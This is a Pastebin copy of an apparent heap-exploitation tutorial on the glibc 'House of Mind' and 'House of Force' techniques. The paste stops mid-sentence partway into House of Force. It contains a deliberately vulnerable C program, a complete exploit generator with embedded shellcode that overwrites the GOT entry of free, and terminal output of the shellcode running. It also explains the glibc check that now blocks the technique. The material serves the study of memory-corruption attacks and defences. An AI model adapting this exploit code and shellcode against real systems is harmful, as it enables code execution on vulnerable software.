Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* vuln.c
- House of Mind vulnerable program
- */
- #include <stdio.h>
- #include <stdlib.h>
- int main (void) {
- char *ptr = malloc(1024); /* First allocated chunk */
- char *ptr2; /* Second chunk/Last but one chunk */
- char *ptr3; /* Last chunk */
- int heap = (int)ptr & 0xFFF00000;
- _Bool found = 0;
- int i = 2;
- for (i = 2; i < 1024; i++) {
- /* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */
- /* 0x08100000 is the place where fake heap_info structure is found. */
- [1]if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \
- (heap + 0x100000))) {
- printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
- found = 1;
- break;
- }
- }
- [2]ptr3 = malloc(1024); /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */
- /* User Input. */
- [3]fread (ptr, 1024 * 1024, 1, stdin);
- [4]free(ptr2); /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */
- [5]free(ptr3); /* Shell code execution. */
- return(0); /* Bye */
- }
- Heap memory for the above vulnerable program:
- https://docs.google.com/drawings/d/1U_PwBlVoR3KuqOwQXpU6lXE12aDNhdfFiCSqzGaklkE/pub?w=721&h=834
- Line[3] of the vulnerable program is where heap overflow occurs. User input gets stored from chunk1’s mem pointer to a total size of 1 MB. Thus inorder to successfully exploit heap overflow, attackers provides the following user input (in the same listed order):
- Fake arena
- Junk
- Fake heap_info
- Shellcode
- Exploit Program: This program generates attacker data file:
- /* exp.c
- Program to generate attacker data.
- Command:
- #./exp > file
- */
- #include <stdio.h>
- #define BIN1 0xb7fd8430
- char scode[] =
- /* Shellcode to execute linux command "id". Size - 72 bytes. */
- "\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
- "\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
- "\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
- "\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
- "\x5e\x9e\x39\xcb\xbf\x04\xea\x42";
- char ret_str[4] = "\x00\x00\x00\x00";
- void convert_endianess(int arg)
- {
- int i=0;
- ret_str[3] = (arg & 0xFF000000) >> 24;
- ret_str[2] = (arg & 0x00FF0000) >> 16;
- ret_str[1] = (arg & 0x0000FF00) >> 8;
- ret_str[0] = (arg & 0x000000FF) >> 0;
- }
- int main() {
- int i=0,j=0;
- fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd */
- fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk */
- fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd_nextsize */
- fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk_nextsize */
- /* Fake Arena. */
- fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* mutex */
- fwrite("\x01\x00\x00\x00", 4, 1, stdout); /* flag */
- for(i=0;i<10;i++)
- fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fastbinsY */
- fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */
- fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */
- for(i=0;i<127;i++) {
- convert_endianess(BIN1+(i*8));
- if(i == 119) {
- fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */
- fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */
- } else if(i==0) {
- fwrite("\xe8\x98\x04\x08", 4, 1, stdout); /* bins[i][0] = (GOT(free) - 12) */
- fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
- }
- else {
- fwrite(ret_str, 4, 1, stdout); /* bins[i][0] */
- fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
- }
- }
- for(i=0;i<4;i++) {
- fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* binmap[i] */
- }
- fwrite("\x00\x84\xfd\xb7", 4, 1, stdout); /* next */
- fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* next_free */
- fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* system_mem */
- fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* max_system_mem */
- for(i=0;i<234;i++) {
- fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* PAD */
- }
- for(i=0;i<722;i++) {
- if(i==721) {
- /* Chunk 724 contains the shellcode. */
- fwrite("\xeb\x18\x00\x00", 4, 1, stdout); /* prev_size - Jmp 24 bytes */
- fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size */
- fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd */
- fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk */
- fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd_nextsize */
- fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk_nextsize */
- fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
- "\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout); /* NOPS */
- fwrite(scode, sizeof(scode)-1, 1, stdout); /* SHELLCODE */
- for(j=0;j<230;j++)
- fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
- continue;
- } else {
- fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* prev_size */
- fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* size */
- }
- if(i==720) {
- for(j=0;j<90;j++)
- fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
- fwrite("\x18\xa0\x04\x08", 4, 1, stdout); /* Arena Pointer */
- for(j=0;j<165;j++)
- fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
- } else {
- for(j=0;j<256;j++)
- fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
- }
- }
- return 0;
- }
- Heap memory for the vulnerable program, with attacker generated data file as user input:
- https://docs.google.com/drawings/d/1--VLWTMBoF1RMNTchYu5EFScxGBSw1MovyOi656tgow/pub?w=721&h=834
- With attacker generated data file as user input, ‘glibc malloc’ does the following, when line[4] of our vulnerable program gets executed:
- Arena for the chunk that is getting freed is retrieved by invoking arena_for_chunk macro.
- arena_for_chunk: If NON_MAIN_ARENA (N) bit is not set, main arena is returned. If set, corresponding heap_info structure is accessed by aligning the chunk address to a multiple of HEAP_MAX_SIZE. Then arena pointer of the obtained heap_info structure is returned. In our case, NON_MAIN_ARENA bit is set by the attacker and hence heap_info structure (located at 0x08100000) of the chunk that is getting freed is obtained. Attacker would also have overwritten the arena pointer (of the obtained heap_info structure) in such a way that it points to the fake arena, ie) heap_info’s ar_ptr = Fake arena’s base address (ie)0x0804a018).
- Invoke _int_free with arena pointer and chunk address as arguments. In our case arena pointer points to fake arena. Thus fake arena and chunk address are passed as arguments to _int_free.
- Fake Arena: Following are the mandatory fields of fake arena that needs to be overwritten by the attacker:
- Mutex – It should be in unlocked state.
- Bins – Unsorted bin’s fd should contain the address of GOT entry of free – 12.
- Top –
- Top address should not be equal to the chunk address that is getting freed.
- Top address should be greater than next chunk address.
- System Memory – System memory should be greater than next chunk size.
- _int_free():
- If chunk is non mmap’d, acquire the lock. In our case chunk is non mmap’d and fake arena’s mutex lock is acquired successfully.
- Consolidate:
- Find if previous chunk is free, if free consolidate. In our case previous chunk is allocated and hence it cant be consolidated backward.
- Find if next chunk is free, if free consolidate. In our case next chunk is allocated and hence it cant be consolidated forward.
- Place the currently freed chunk in unsorted bin. In our case fake arena’s unsorted bin’s fd contains the address of GOT entry of free – 12 which gets copied to ‘fwd‘ value. Later currently freed chunk’s address gets copied to ‘fwd->bk’. bk is located at offset 12 in malloc_chunk and hence 12 gets added to this ‘fwd’ value (ie) free-12+12). Thus now GOT entry of free gets modified to contain currently freed chunk address. Since the attacker has placed his shellcode in the currently freed chunk, from now on whenever free gets invoked attacker’s shellcode gets executed!!
- Executing the vulnerable program with attacker generated data file as user input executes the shell code as shown below:
- sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
- sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -o exp exp.c
- sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./exp > file
- sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./vuln < file
- ptr found at 0x804a008
- good heap allignment found on malloc() 724 (0x81002a0)
- uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
- Protection: At present day, house of mind technique doesnt work since ‘glibc malloc’ has got hardened. Below check is added to prevent heap overflow using house of mind.
- Corrupted chunks: Unsorted bin’s first chunk’s bk pointer should point to unsorted bin. If not ‘glibc malloc’ throws up corrupted chunk error.
- if (__glibc_unlikely (fwd->bk != bck))
- {
- errstr = "free(): corrupted unsorted chunks";
- goto errout;
- }
- House of Force: In this technique, attacker abuses top chunk size and tricks ‘glibc malloc’ to service a very large memory request (greater than heap system memory size) using top chunk. Now when a new malloc request is made, GOT entry of free would be overwritten with shellcode address. Hence from now on whenever free is called, shellcode gets executed!!
- Prerequisites: Three malloc calls are required to successfully apply house of force as listed below:
- Malloc 1: Attacker should be able to control the size of top chunk. Hence heap overflow should be possible on this allocated chunk which is physically located previous to top chunk.
- Malloc 2: Attacker should be able to control the size of this malloc request.
- Malloc 3: User input should be copied to this allocated chunk.
- Vulnerable Program: This program meets the above prerequisites.
- /*
- House of force vulnerable program.
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- int main(int argc, char *argv[])
- {
- char *buf1, *buf2, *buf3;
- if (argc != 4) {
- printf("Usage Error\n");
- return;
- }
- [1]buf1 = malloc(256);
- [2]strcpy(buf1, argv[1]); /* Prereq 1 */
- [3]buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 */
- [4]buf3 = malloc(256); /* Prereq 3 */
- [5]strcpy(buf3, argv[3]); /* Prereq 3 */
- [6]free(buf3);
- free(buf2);
- free(buf1);
- return 0;
- }
- Heap memory for the above vulnerable program:
- https://docs.google.com/drawings/d/1giYA51go8_9G6l7lJHUefXmjR4bEMfAEIWQyhGYnIRw/pub?w=751&h=628
- Line[2] of the vulnerable program
Advertisement
Add Comment
Please, Sign In to add comment